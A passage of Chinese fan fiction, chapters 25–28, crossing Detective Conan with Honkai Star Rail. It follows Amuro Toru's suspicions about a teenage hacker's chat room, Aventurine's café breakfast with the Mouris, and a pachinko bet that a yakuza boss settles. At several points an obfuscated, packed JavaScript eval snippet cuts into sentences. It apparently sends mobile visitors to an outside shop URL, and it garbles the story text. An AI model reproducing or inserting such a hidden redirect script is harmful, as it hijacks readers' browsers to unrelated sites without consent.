却扒了安室透的卧底马甲,由此更是直接判断得出安室透是她有意留在聊天室里、以后可能另有用处的警方卧底——底裤都快给她扒干净了,是不是下步就能直接预测她的最终目的了?! 砂金甚至一开始就看破了她放他入群的目的,趁她大意没有防备对方的时候,利用胜村早圭把她耍得圈圈转,她呢、是一点好处没捞着,还要被迫帮砂金填补起身份上的漏洞。 再看看安室透那边, 在她扫了尾、不知道砂金和Silica是同一人的前提下,却猜到了砂金和Silica很大可能有着直接联系,还搞到了砂金的联系方式、用安室透的身份混成了砂金的“好友”, 昨日只是从消息网中得知胜村早圭被抓,安室透就敏锐从“胜村早圭常以拉新人入群的方式赚钱”和“Silica刚入群不久”两条信息中察觉到此案很可能有Silica的手笔,马上便让部下去拦截案件…… 嘶——! 在大部分事实经过均不明确的情况下,仅凭着各种微小的细节和仿佛八竿子都打不着的情报,双方的判断正确率都达到了至少九成…… 他们怎么做到的? 这合理吗? 终于接收完所有信息、彻底醒困了的八木海倒吸了一口凉气、头皮有些发麻, 这都是些什么怪物啊?! 要不是阴差阳错下的那一点小小的误会,八木海都不敢相信这两个家伙能做到什么程度, 好可怕的大人…… 八木海突然有些后悔把这两个人拉到自己的计划中了,她早该想到的, 一个能把自己完美区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594213|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分成两个人来扮演的警察、和一个能自己卖自己情报的疯子,就不可能是个正常人! 年仅十二岁的八木海的弱小心灵,受到了极大的暴击, 但开弓没有回头箭,箭在弦上也不得不发,八木海搓搓胳膊上的鸡皮疙瘩、把被子裹得更紧了些,给刚能发言的Kentucky.B和Silica在聊天室里又续了个三天禁言套餐, 她真怕两个人怼着怼着,怼上头、当着所有成员的面把她的马甲也扒了, ——Silica:这是拒绝的意思吗? ——Kentucky.B:? 接连响起的两声私信消息提醒吓了八木海一跳,Silica就算了,Kentucky.B怎么也还醒着??? 安室透他不是连夜审问胜村早圭去了,五个小时前才睡下的吗?! 怕胜村早圭在安室透面前说出什么不该说的话,八木海还陪着安室透一起通得宵……唿,黑进监控里陪着的。 ——itf:没拒绝,我要补觉,你和Kentucky.B吵起来会很影响我的睡眠质量,所以还是让你们继续保持安静好了。 ——Silica:好哦,那晚安OvO,祝我的朋友有个好梦。 不,你们就是我的噩梦……八木海看着那个表情包,眼角抽了抽,硬是摆出冷酷管理员的态度回了另一个怎么还没猝死的家伙, ——itf:看你们不爽,多封几天。 ——Kentucky.B:我的错,下次还犯:) 胃也疼……八木海红了眼框,也不知道是熬夜困的、还是被Silica和Kentucky.B气哭了,她快碎了,未成年保护法在哪里? 她需要保护! 但八木海仍然坚强地敲起键盘,她准备给自己的系统还有帐号再多做几组防火墙、加固加固, 在目标达成前,她必须坚持住! …… 奇怪, 早起想趁着禁言开了、找Silica再套点情报的安室透眯了眯眼,itf又封了他,像是牵怒,所以…… Silica私下里找上了itf、还招惹到itf了? 25.第 25 章 要是安室透的这翻猜测让itf知道了,小姑娘就真的要哇叽一声哭出来了, 她不想和这两个会隔空读心的怪物玩了! 但八木海不知道,所以游戏继续。 Silica私下和itf有联系……对安室透来说、这可绝对不算什么好消息。 昨天下午组织那边突然有事找他,等安室透脱身奔到胜村早圭这边时,他还是去晚了一些, 花了些心计从“不愿意出卖帮他出点子的好兄弟”的胜村早圭嘴巴里,挖出来确实有人在暗中引导胜村早圭犯事的时候,那个显示乱码的小号已经搞定了所有的收尾,根本查不出来什么有用信息了。 胜村早圭近期拉入群的人太多,正在一一排查中,不过想也知道,在itf对成员的保护系统下进行调查,那会有多么的困难重重。 没用后的胜村早圭则被改头换面、改名换姓,随意安了个不严重的罪名送去了北海道,在公安的监控下,对方五年之内都别想再踏入米花半步, 安室透也算仁至义尽,这样总比哪天突然丢了性命要好。 现在再想来,安室透认为收尾的那个技术高超的骇客,应当也是itf——游戏比赛的裁判很可能在偏袒其中一方,这对另一方来说可谓是糟糕透了。 Silica和itf什么时候开始背着他结伴的? 一开始? 还是最近? 安室透像往常一样,一心两用着一边思考正事,一边洗漱换衣、前往咖啡厅里打工上班, 嗯,这个问题不是最重要的,先不考虑,总之itf和Silica现在很可能就是一伙的,那……那场比赛就是为了做局把他赶出聊天室的假赛,毫无公平可言。 这让安室透有些不解,虽然“Kentucky.B”是嘴毒欠揍了点,但不至于让itf拐着弯想赶他吧? “早上好,安室先生!你今天来的好早啊……” “早安,小梓小姐,你也很早啊。” 接过话题,安室透脑海里无缝衔接上之前的思路,那先简单分析两种主要的可能性吧, 一是他因,itf知道了他背后的组织,想在不得罪组织的情况下、把他赶走, 二是己因……他的存在影响了itf的什么计划,他离开聊天室才能让itf的计划顺利、甚至更好的进行。 一应该说不通,itf都把组织的探子踢出去好几十个了,该得罪的早得罪了,不然卧底的活怎么会到他这个娃娃脸的波本身上? 那他因不成立,就只剩己因了。 itf在谋划什么? 不对,不多的接触能看出来itf年纪不大、有些处事方法也不够稳妥,比如这一次itf就不该连着他一起禁言、结果暴露了itf和Silica私下仍有联系的关系, 反而是Silica,诚府彼深,所以Silica会是替itf出谋划策的那个人吗? 做好营生准备,安室透刚刚翻开营业中的小木牌挂好,另一个关键人物就到场了, “安室先生,你可真是勤劳啊……这么一大早就在干苦力了。” 安室透:……有这么夸人的吗?娜塔莉夫人的文化课看来上的还不够多。 不过今天砂金的声音怎么有点哑? “咳、玩笑话啦~” 转身看过去,安室透见到了砂金——对方又换了身打扮, 这次走的是青白双拼色系的嘻哈破洞风,脑袋上还反扣着顶鸭舌帽,装饰倒是没像昨天那样戴那么多,颈侧的纹身也用大号创口贴挡了上、和衣服风格也挺搭, 好一位青春洋溢的热血青年,一看街舞就跳的很好的那种, 砂金还真挺喜欢打扮自己的。 “感冒了?”已经被视觉冲击过一次了的安室透表情表现得很自然,这让砂金有点子小失望了,“先进屋……” “小梓小姐,来杯热牛奶吧,算我请客。” 安室透看砂金的鼻尖都是通红的,清晨的天气温偏低,宽大破洞的衬衫宽脚裤又怎么看都不保暖, 昨天砂金那一身也没暖和到哪里去,安室透还听部下向他汇报,昨晚砂金在外面转了一路的圈圈、跳舞踩影子玩…… 好吧,会感冒也不奇怪。 探手捏了捏自己的脖子,砂金声音好像更哑了,“没事,只是嗓子疼……可能发炎了?” “安室,可我还是更想要小蛋糕和热可可~” 不用客气和得寸进尺可是亲密朋友之间的专属互动,砂金拖着尾音、试图打动“咖啡厅之王”, “糖分太多了,而且你还在咳嗽,”安室透不为所动,霸/权也是好朋友间的专属,“我给你做三明治,私人配方、绝对不让你失望。” 于情,砂金是个需要照顾的病人,还是班长的被监管负责人; 于理,itf和Silica都对砂金有着很深的兴趣——不然为什么偏偏挑砂金当比赛的任务目标, 和砂金打好关系是必然的选择。 “嗯哼,相信你一次吧。”砂金对安室透的推荐很放心,对方一个警察总不会给他下毒吧? 享受早餐的砂金和认真工作的安室透两人开开心心的当“好朋友”,一点没有他们都把八木海吓到开始学琥珀王修墙了的自觉。 尤其是砂金,点破对方打算的砂金很不以为然,小朋友还是世面见得少了, 不然一个犯罪组织首脑留一个警察卧底在身边,不图利用对方、难道图安室透当个花瓶放身边好看不成? …… 安室透从不自夸,三明治的味道是非常好,砂金很满意。应该说是尝过安室透手艺的人都很满足,一清早有不少上班族学生为了一顿美味的早餐光照这家小小的咖啡厅。 没有心情做饭的毛利兰和仿佛护崽老母鸡上身的毛利小五郎也是其中之一。 “爸爸,你不用那么焦虑……” 在毛利小五郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13603453|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又瞪走了一个看了毛利兰几眼的路人后,毛利兰安慰道,“没什么事的,新一他已经在调查了。” “那臭小子能查出来什么!”毛利小五郎吹胡子瞪眼,“小兰,不然就听我的,转校好了……英理那边我也问过了,我的女儿有得是学校抢着要!” “爸爸!”毛利兰不想转校,先不说她的朋友们,这可是她爸爸妈妈的母校!她还想沿着父母们的道路都走一遍…… 毛利小五郎想着他签的那张来自公安的保密协议、急得咬牙,他也是当过刑警的人,当然清楚公安一惯的作风! 只是这些事情不方便和被保护的很好的毛利兰透露,毛利小五郎也不想在这种时候和毛利兰争吵, “再等一个礼拜,一个礼拜总行了吧,”毛利小五郎招呼着点完餐,继续道,“一个礼拜要还是找不到欺负你的那个混蛋,我们就转校搬走,这期间每天我都会接送你上下学。” 惹不起,他们躲得起,什么都没有家人的安全重要。 “毛利小姐,人多、到我这拼下桌吧……” 有些沙哑的声音招呼着毛利兰,毛利兰看到砂金、还有一身与初印象反差极大的造型,表情微微一愣,“砂……砂金?” 这下舒服了,砂金笑容真切,看别人一副想认又不敢认的、纠结震惊的表情还怪有意思的。 “这家伙是谁?” 不是毛利小五郎以貌取人、觉得砂金穿得不像是个好人,现阶段的毛利小五郎平等地觉得所有冲他女儿来的家伙都是混蛋! “爸爸,这是我认识的朋友,不是坏人。”毛利兰介绍道,“这是我爸爸,不好意思、因为我的事他有些太紧张了。” “为人父母心,理解,”侧过头、砂金掩唇轻咳两声,“我要是有一个像毛利小姐这样完美可爱的女儿,我也会忍不住变身恶龙、时刻守着的。” 临时早高峰,店里人的确很多了,安室透忙的脚停不下来,毛利小五郎见砂金这么说、也就接受了拼桌的邀请。 “你的身体还没好吗?”毛利兰怎么感觉自己每次见到对方,对方状态都不怎么样。 “伤早就好了,只是受凉有点小感冒。”砂金喝了口热牛奶,感觉稍微好了一点。 毛利兰放下心,“那就好,那样我们就有机会在校园里见面了吧。” “嗯,是……”刚想应声的砂金一顿,“不对,毛利小姐你……好像误会了什么。” 砂金指了指自己那张漂亮脸蛋,三重眼里写上了认真两个字,“我二十多了,社会人士、不上学。” 毛利兰:“哎???” 她之前在学校里遇见没穿校服的砂金,还以为对方是因病正在请假、还没正式入学的转校生呢?! “不过我们的确是差点成为同学,”砂金笑笑道,“我的监护娜塔莉夫人在米花高中任教,她之前还打算让我当个插班生什么的、旁听一下课程。” 可惜娜塔莉夫人预估错了他的年龄罢了。 26.第 26 章 “啧,都是成年人了、就不要和高中生硬攀什么关系了吧?” 毛利小五郎的警惕心刷刷上飙,没听说过哪个正经的社会人士需要再回高中读书的,学历渡金那也是去大学,砂金这不是找话题、攀关系,还能是什么? 不怀好意的黄毛小子! “别那么说,爸爸……”毛利兰用胳膊轻轻碰了自家老爸一下,毛利小五郎切了声、大口大口咬着刚送上来的三明治——波洛咖啡厅的早餐爆款。 “不怪毛利先生误会,”砂金轻声说着,“说来朋友可能不信,我也是前不久前才知道自己具体多大的——假设骨龄检测的误差不大。” 毛利小五郎咀嚼的腮帮子动作慢了下来, “我失忆了,据捡到我的伊达警官说我是什么案子的受害人来着,哎,我也不太清楚是怎么回事,我出院也没多久。” 毛利小五郎嘴巴不动了, 看着毛利兰惊讶的神色,砂金歪头,“脑袋里空空的,也没有身份证明和失踪人口记录,连个字都不识一个,我想我大概是那种没有双亲、被人拐卖了都没人在意的家伙吧?” 毛利小五郎的大脑开始卡壳, “也就是娜塔莉夫人可怜我、想给我个接受教育的机会……我却让娜塔莉夫人白忙活了,浪费了她的好心,真有些过意不去啊。” 砂金感冒导致的沙哑的噪音压得低低的,让人听起来像极了难过压抑、又故作轻松的哭腔,更可怕的是……他的鼻尖还是红的, 这活脱脱就是受了天大委屈的啊! “咳、咳咳……”脖子一梗,硬是把塞满嘴巴的食物咽了下去,毛利小五郎差点把自己哽死,“不……咳咳……不好意思啊,那个我不知道你、咳……” 他刚刚是不是说错话了啊?! 这个世界的“拉帝奥教授”还挺多的,垂着眸子装可怜的砂金想到,之前可没多少人会真心实意地为这种事向他道歉,结果他才到这里不久、就遇见好几个了。 太容易达成目的了,反而还有点……那个叫什么,空虚感? 【那……】 半透明的影子笑嘻嘻地从身后凑到砂金耳边,坏心眼地吹了口气,【你考不考虑改一下、动不动就撕伤疤的坏习惯?】 突如其来的死动静险些让砂金没能撑住表情,抬手借着遮口咳嗽的动作动了动唇、微不可闻…… 混蛋,等会儿再找你算账! 「砂金」意味不明地笑了两声,再次消失,好像专门出来就是为了吓他一跳的,砂金想不明白这家伙弄这一出是干什么, 可能就是在找存在感,以及给他找不痛快吧? 好在毛利小五郎也没尴尬自责太久,砂金来得早、用完餐告了个别也准备走了,昨天没去成的博/彩店,今天还要接着去弄点钱花…… 不赚钱可不行啊。 只是等到毛利小五郎吃完打算结账,却发现砂金早以影响到了朋友用餐心情为由、替他付过钱了的时候,毛利小五郎的愧疚之情达成了顶峰, 那小子……毛利小五郎想,只要不是故意接近小兰,其实人也挺不错的。 …… 砂金人品怎样暂且不提,但人确实不太好了。 咳嗽越来越频繁,嗓子也越来越哑,砂金走路上干脆又买了瓶冰橙汁,插个吸管时不时吨吨吨几口,目光闲不下来地环视着开着几家博/彩店街道, 这个国家有个砂金还挺喜欢的特色,招牌巨大、灯光五颜六色、写着“パチンコ”或是“pachinko”字样的弹珠店比快餐店还要多, 哪怕是早高峰、非常规营业时间,也已经有店开始营业了,而且围坐的客人也不少。 砂金刚好和一家博/彩店的老板目光对上,老板脸上一僵、手一抖,很想把刚拉开的门帘再关上——是那个家伙吗?那个运气好得要命的家伙怎么又来了?!! “安心啦,咳咳……”砂金清了清嗓子,眼底笑盈盈的,“我今天对那个更感兴趣。” 顺着砂金的示意,老板看到了一家生意还不错的柏青哥店,终于松了一口气,“那您玩好,玩好……” 说着,老板心底却不以为然,彩票和小钢珠虽然都有博/彩性质,但实际上可完全不同,他不认为砂金能赢到大钱。别把彩票赚到的全赔进去就好。 再说回选定好目标的砂金,因为手里的澄汁饮料加上年轻的扮象,毫不意外,执证进店、换好贷玉的砂金还是被好事的人拦在了机位前, “小鬼,这里可不是你该来的地方,”旁边排队等着机子的红毛混混先一步挡在了砂金面前,“需要我帮小宝宝找一下儿童寄放所在哪里吗?” “哈哈哈哈哈哈!!!” “就是就是,瞅瞅、我们的小baby好像还没断奶呢,还要喝橙汁哈哈哈……” “我得问问店员,怎么把未成年给放进来了啊?哈哈哈!” 看热闹不嫌事大的人哄笑成一团,砂金左右看了看,他挑中的机子前没有人,红毛正在排得是隔壁的位置,说明红毛是这里的常客、而且还有自己喜欢的固定机位, 那个机位上正坐着个疤头花臂的大汉,专心致志的打着钢珠,看样一时半会也结束不了。 所以红毛这是自己的位置被人先占了,又不敢找那个疤头花臂的麻烦,就打算把气撒在他身上? 砂金掀掀眼皮,不是很想浪费精力搭理这种废物,但红毛见砂金不吭声、以为对方怕了便更是登鼻子上脸,上手推嚷起来,“小鬼,怎么不说话了?” “害怕的说不出来了吗?软蛋?” 【噗、哈哈哈哈哈哈哈哈!!!】「砂金」暴笑,眼泪都快笑出来了,【我骂你是骂习惯了,但还是第一次听别人说你是软蛋的哈哈哈……他也是愚者吗?】 【这太有乐子了哈哈哈!】 在外人看来,砂金一直都是个胆大到可怕的家伙。 老虎不发威,还真被人当成了病猫。 抬手按住了红毛伸到他肩膀上、越推越用力的胳膊,砂金终于哑着声音开了口,弱声弱气地道,“别那么激动嘛,朋友……我第一次来这里玩,也不太懂这里的规矩,还是说这也是欢迎仪式的一种?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13627659|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >红毛一听更张狂了,“对,没错……我这就是在欢迎你,你这还不得快点跪下来感谢感谢我哈!” “田中先、先生……”慌忙赶过的店员担心吊胆,“这还在店里,不太好闹太过吧,大家都和气点,和气生财……” 店员也是真急,最近不知道怎么了,警视厅那边的巡查队经常从这边路过,店里老板也千叮万嘱、最好近期别闹出什么矛盾纠纷,万一被巡查抓个正巧处理起来也麻烦。 “没事,我和这位朋友只是在交流感情而已,”砂金嘴角带着弧度,好像没有因为红毛的冒犯而生气,但说出的话却一点都不客气,“我只是在想,我好心地给了田中先生教我规矩的机会……” “田中先生是不是也该跪下、对我说声谢谢?” 完了,店员眼前一黑,这家伙也不是个省油的灯! “你——!” 红毛猛得揪住了砂金的领子,砂金不慌不忙地抬手,对着红毛的脑袋……哗哗——!夹着冰块的橙汁浇了了红毛一头, 半长特意打了造型的头发顿时一撮一撮地粘在了脸上,滑稽的像是顶了一头刚出水的褐藻,硬邦邦的冰块砸人没那么疼但侮辱性也是彻底拉满…… 人群寂静了几秒,在背景快节奏的配乐下,砂金遗憾地道,“就剩、咳咳,就剩半杯了,请你喝了、不用谢。” “你个该死的****杂种!”红毛彻底被激怒,挥舞起拳头,“狗东西不想活了是吧?!” “碰!” 咣一声响,却是疤头花臂的中年大汉踹了一脚机子,弹珠机叮叮叮的跳出三个相同的数字和“大当たり”的cg,伴随着的还有花花绿绿的灯效、响亮刺激的音频。 “我今天手气不错,”大汉阴沉凶悍的气势压得红毛泄了气,“别在这里吵吵,影响我的运势……” “抱、抱歉,吉野大哥……”红毛马上变得唯唯诺诺,吉野浩太郎是附近有名的极道大哥,哪怕不知道对方具体混得是哪个场、也都不是他一个普通小混混能得罪的起的。 对大汉有多弱气,红毛心底就有多愤恨不平,要不是他来晚了一会儿、现在坐在那个位置上中大奖的人就该是他! 不能朝吉野浩太郎发火的红毛更记恨上了砂金——都怪这个不长眼的狗杂种!等他一个人落单了…… “抱歉啦,我也不想打扰到大家的,”还被拎着领子的砂金面不改色,“但是有问题,也不能不解决不是吗?” 红毛恶狠狠地推开砂金,撸了把头发,黏腻的触感跟令他火大,双目喷火,“那你想怎么样!” “我们用和平一点的方式解决吧,”被推得一踉跄的砂金干脆就坐到空的弹珠机前,将兑好的贷玉卡片抽进了机子里,“都是老手,就用大家都喜欢方法好啦,” “你看,我换了一千个子的钢珠,就赌全部用完之后我能赢回来多少好了。输一颗,我给你磕一个头、道一声歉,” “要是我赢了,”靛紫渐变的眸子沉了沉,砂金笑道,“那就给我磕回来吧,磕一下道一声谢,” “你觉得我的提议怎么样?” 27.第 27 章 砂金用最平静的语气,说出了最嚣张自大的话,连旁边的花臂大哥都不关心自己机子上的“突入”确变了,侧过头上下打量着这个口出狂言的年轻人…… 一颗钢珠四个子,一千円也不过250颗,机子一分钟大概打出80~100钢珠,整场玩下来最快三、四分钟就能输个精光,机子的中奖概率却普遍在1/300上下,而且还没保底, 多得是人两三万一局地往里投,却一个子都挣不到,倾家荡产的更不是少数。 这砂金要是输了,可就要赔给红毛二百五十个响头了。 “我想起来了,”围观的人中突然有人切切私语,“那双眼睛……这小子的运气好像有点怪,前几天在隔壁连中七张彩票的那个幸运儿就是他……” “不知道是有真本事,还是飘了、觉得这次也能赢?” “怎么,”砂金不受众人的影响,只是看向红毛,“不敢赌吗?” 红毛手一抖,但却不是因为怕输……他是这里的常客,哪个机子的概率可能更高,哪个机子中奖的次数更多,哪个机子前期投注垫的多,他都知道的一清二楚。 而砂金现在选中的那个弹珠机,昨天才刚开出来十几个大奖、上升概率基本清零,今天又还没开张、一注没垫——早早来抢机子的都是老手,当然没人会去玩一个中奖率低的机子给后面的别人作嫁衣。 也就是说,砂金仅凭一千円就中奖的概率会更低。 思考结束,红毛咧开嘴、仿佛已经看到了几分钟后面前这嚣张小子磕头下跪的表情了,“这可是你说的,输了别哭着喊娘!” …… 人嘛,总是喜欢看热闹的,哪怕是国情普遍较为冷漠的本地人,悄悄关注砂金和红毛赌局的人也不少, 最主要的原因是很多人都在排队等花臂大哥的机位,但花臂大哥对砂金起兴趣了准备看乐子,而且他不玩、也不让空,其他人哪里敢抢这位的机子,只能干站着跟着一起看戏。 砂金也是第一次玩这种弹珠机,简单研究了一下,哗啦啦的钢珠滚进机器里,砂金伸手轻轻转动了一下旋钮,屏幕上顿时满天飞起弹出的钢珠, 每个飞出去的钢珠都代表着四个子,钱以肉眼可见的速度消失着。 叮叮叮,砂金很快按下了按钮、停止射击,第一次的短暂尝试损失了八十多颗珠子,并未中奖。 “哈,”红毛嗤笑,“吓破胆了吧,混蛋玩意儿。”第一次接触柏青哥的人,有不少都会被那哗哗消失的钱吓上一跳。 砂金没理会红毛,又试了一次,还剩85颗钢珠……又是失败。 红毛脸上的恶意越发明显,人群里不看好砂金的人更多了,砂金能赢的概率太低太低,三分钟输光不成问题。 最后一把了,砂金看了看卡上的余额,最后一次握上旋纽…… “别挣扎了,老实地跪下……什?!” 红毛狠话放了一半,突然就见屏幕上的动画当当当响的转出了“5”和“5”两个数字,直接进入“立直”cg——左右两边数字相同,中间第三个数字出现重复的概率上升! “不会吧,”看戏的人小声嘀咕,“真让这小子瞎猫碰上死耗子了?” “只……只是立直而已,”红毛大声吼着,“立直不中也是常有的事!” 剩余五十颗左右, 唯数不多的数字还在快速减少,有些紧张的红毛额角刷一下激出了冷汗——别中、别中、别中!!! 剩余三十颗左右, 红毛放下了些心,再等几秒,这家伙肯定中不了! 既将结束…… [叮叮叮!555大当たり!!!] 讨论声骤起,哗啦啦摸拟钢珠碰撞掉落的声音砸在红毛脑袋里,庆幸的表情僵在了他的脸上——这怎么可能!!! 明明快要清零了的数字因为中奖奖励猛得上涨了100多个点,突入cg紧接而来,确变模式正式开始, 为了留住中奖者,在每次中大奖后的“突入”确变模式之下、中奖概率会更高! 猛得扭动旋钮,砂金还是那么一幅微笑的表情、右打将赢回来的弹珠再次倾数打入右侧的确变开奖区,落入中奖区的弹珠继续以十余倍的倍率增涨着, 红毛脸色铁青地看着那数字越来越大,一百,两百…五百……上千…… 3分钟中奖时间快要结束,红毛指甲掐着手心不愿接受这个现实,但还没完。 [叮叮叮!777大当たり!!!] 又是大奖——! …… 第一个大奖出现,围观的人惊呼,第二个大奖出现,众人不可思议,第三个、第四个大奖出现,人群开始寂静无声、只听噼里啪啦的声响不停的响起…… 第五个大奖结束,所有人竟然同时松了口气…… 终于、停了。 红毛下意识看了一眼机子,上面的数字达到了可怕的22560点——一颗钢珠四円,22560颗就是90240円,看起来不多、但别忘了砂金的投入仅仅只有一千个子, 这一下就翻了将近百倍! “天啊,”众人看向砂金的目光已经像看鬼一样了,有人喃喃开口,“田中这岂不是要给这小子嗑两万多个头?” 会死的吧,绝对会磕死人的吧? “朋友,我心情好,”砂金挑了下眉,轻飘飘地道,“咳、所以给你抹个零,磕个两万整就够了,不必客气。” “你、你……你绝对作弊了!”红毛红了眼睛、怒目圆睁地想要冲向砂金,“这不可能!怎么可能!!!” 连中五次!这概率简直近乎于零! 而在红毛的拳头碰上砂金之前,从旁伸出的一只脚先将人狠狠踢飞了出去,红毛撞在了机子上惨叫一声摔滚在地,花臂大哥叼着烟挡在砂金身前, “混蛋玩意……”吉野浩太郎吐出口烟,“你的意思是说,在我的地盘还有人敢不把我放在眼里、不守规矩地出老千吗?” 气极失去了理智的红毛瞬间面色惨白,完了,他忘了这边的店面多和极道有着关联,他刚刚的那话不就是在打吉野浩太郎的脸吗! “大哥,我、我不是这个意思,我只是…啊—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13628469|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !对不起大哥!放过我啊啊啊!!!” 鞋跟用力地碾在红毛的手指下,吉野浩太郎居高临下地俯视着哀嚎的红毛,“你现在应该说的是对不起吗?” “对不……不是,不是,”红毛连手都不敢抽出来,痛苦流涕地趴在上、以头呛地,边磕边向砂金叫着,“谢谢,我知道错了,谢谢,谢谢大哥们教我做人……” 红毛咣咣咣地磕着,没人敢说话求情,没人想跟着红毛一起磕个头、还要给罪魁祸首道谢……所有人都知道,从今以后、不能得罪的人又多了一个, 不管砂金是怎么做到连赢五把的,明眼人都看得出来,吉野浩太郎很欣赏对方、在给对方撑腰。 “这位……怎么称呼?”吉野浩太郎挪开脚,向没什么情绪变化、仿佛局外人一样笑看这场闹剧的砂金问道。 “咳咳……”砂金挥了挥手、打散令他有些不适的烟味,“不才砂金,暂且算是个无业游民。” 吉野浩太郎掐掉了烟,“你很不错,要跟着我吗?” “不了,吉野先生,”砂金礼貌拒绝,“还是做个朋友吧。” “有主了?” “算是。” “可惜了,”吉野浩太郎坐回到自己的机子前,“改主意了可以随时来找我,我每周的这两天、都会到这里坐坐。” 砂金没吭声,红毛还在嗑着头…… “都聚在这里做什么呢!” 熟悉又响亮的大嗓门子从外穿了进来,店里的异常和惨叫哭嚎还是引来了巡查的注意,表情一变、砂金抬手拔了机子上的贷玉券作势就要逃跑…… “砂金?!!” 嗯……晚了, 命运的后脖颈再一次被拎住,悬空的砂金晃了晃碰不到地的脚尖,生动讨好地扭头看向来人,“伊达警官~怎么又是你啊,真是好巧啊!” 来人可不就是伊达航。 嘴角狠狠一抽,伊达航又一次咬断了可怜的牙签,“这是我要问的问题吧……怎么又是你啊?!” 而且还是在这种地方! “我给你的身份证明,就是让你用在这里的吗?” 看砂金和到场的警察认识,吉野浩太郎没说话、若有所思地想着事,砂金抖了抖,“我是第一次来,真的……” “所以这里发生了什么?”伊达航瞥了一眼瑟瑟发抖、被他打断没再磕头,脑门上却顶个血包的狼狈红毛,“那个家伙怎么回事?” “说到这个,伊达警官你可要给我做主啊!” 砂金哭哑着嗓子,变脸的本事让所有见过砂金之前那淡然傲慢的态度的在场人,心中皆是一寒、接着就听砂金好像很委屈地道,“我就是好奇这个游戏机好不好玩,想试试……” “结果他就非要拦着我骂……骂得好多词我也听不懂、娜塔莉夫人没教过我那些东西,我也不知道怎么骂回去……最后看我赢得小钢珠多,他还想过来打我!” 砂金每说一个字,伊达航脸就黑一度,红毛心更梗一分、憋着一口血欲吐不吐…… 你刚刚嘲讽我的时候,可不是这样子的——! 28.第 28 章 “伊达警官,我保证我说的话句句属实,”被放下的砂金躲在伊达航身后,揪着警官先生的衣摆,好一幅弱小无助的可怜样,“在场的大家都可以为我作证……” 在场众人沉思…… 红毛拦着砂金骂了吗? 的确是骂了。 看到砂金中大奖、赢小钢珠之后,想打砂金了吗? 这也确实如此…… 砂金说的每个字都是真的,但这哪儿里分明有些不对劲儿的吧?!把关键省略掉真的没问题吗? 吉野浩太郎:“咳咳。” 没问题,那当然没问题! “是啊,这位先生没说谎,”众人纷纷出言作证,“田中他就是输不起,他那坏脾气大家谁不知道的一清二楚…就是他故意找事……” 七嘴八舌的就差把红毛形容成是最大恶极、罄竹难书的凶人犯了,而砂金就是那个最无辜的受害者。 伊达航认识吉野浩太郎,也知道这些人的话里掺了多少水分,继续向砂金问道,“那是谁打了他?” “吉野先生……”砂金即答,“但也不算是他打的,吉野先生是见义勇为的好心人,没有他的帮助、挨打的那个就是我了,” “至于头上的伤……是田中先生在吉野先生苦口婆心的劝说下,终于认识到了自己的错误之后,痛心疾首、虔诚悔改,自己非要磕烂道歉的!” “苦口婆心的劝说”、“见义勇为的好心人”……吉野浩太郎掏烟的手一顿,神色复杂地看向砂金——他没看错人,这小子能行,是个成大事的人才, 他这辈子都没想过、这几个词有一天会被人安在他的头上。 红毛如丧考妣,“是的是的,是我非要磕的,感谢吉野大哥和砂金大……” 砂金在伊达航背后,阴沉地瞪了红毛一眼, “啊、不是,是砂金先生,”为人还算机灵的红毛连忙改口,“感谢砂金先生愿意给我改过自新的机会!脑袋上的这一点小伤不劳警官先生费、费心!” 伊达航扭头,砂金脸上秒变Q-Q, 伊达航继续注视砂金:我很像傻子吗,那么好糊弄? 砂金:QAQ~ 伊达航:……你赢了。 “不要闹事就行,”伊达航揉了揉额头,弹珠店属于灰色地带,吉野浩太郎又在这待着,伤者不追究的话、他们警方不适合插手极道内部的事, 而且大概情况也是那个红毛自作自受,也就是这几年修身养性了,换了警校时期的伊达航,说不定伊达航他还想趁乱给红毛几脚呢, 能管得住同期四个刺头的班长大人,何尝不也是个刺头? “这孩子我先带走了。” “慢点慢点,”砂金被伊达航拽着,临走了还不忘对红毛弯弯着眼睛,恶意隐在皮下,“不好意思啊、我刚刚忘了计数了,你帮我留着、下次见面我们再重新数吧!” 